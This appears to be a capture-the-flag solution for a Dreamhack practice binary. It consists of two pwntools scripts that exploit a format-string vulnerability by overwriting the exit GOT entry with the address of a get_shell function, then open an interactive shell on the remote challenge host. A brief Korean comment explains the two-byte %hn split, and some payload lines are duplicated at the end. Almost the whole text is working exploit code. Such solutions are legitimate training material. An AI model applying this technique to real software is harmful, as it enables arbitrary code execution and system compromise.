from pwn import *
p = process('./basic_exploitation_002')
p = remote('host1.dreamhack.games', 23968)
e = ELF('./basic_exploitation_002')
get_shell = e.symbols['get_shell'] # get 0x8048609
exit_got = e.got['exit'] # get 0x804a024
p.sendline(fmtstr_payload(1,{exit_got:get_shell})) # Overwrite exit_got with the address of get_shell.
p.interactive()
from pwn import*
p = process('./basic_exploitation_002')
p = remote('host1.dreamhack.games', 23968)
e = ELF('./basic_exploitation_002')
exit_got = e.got['exit'] # get 0x804a024
payload = p32(exit_got+2) # 0x804 / 4byte
payload += p32(exit_got) # 0x8609 / 4byte
payload += b"%2044c%1$hn%32261c%2$hn"
# 2044 = 0x804-0x8 / 32261 = 0x8609-0x804
p.send(payload)
p.interactive()
0x8048609의 값이 너무 크기에 2바이트씩 사용(Func-TIMEOUT)
payload = p32(exit_got+2) # 0x804 / 4byte
payload += p32(exit_got) # 0x8609 / 4byte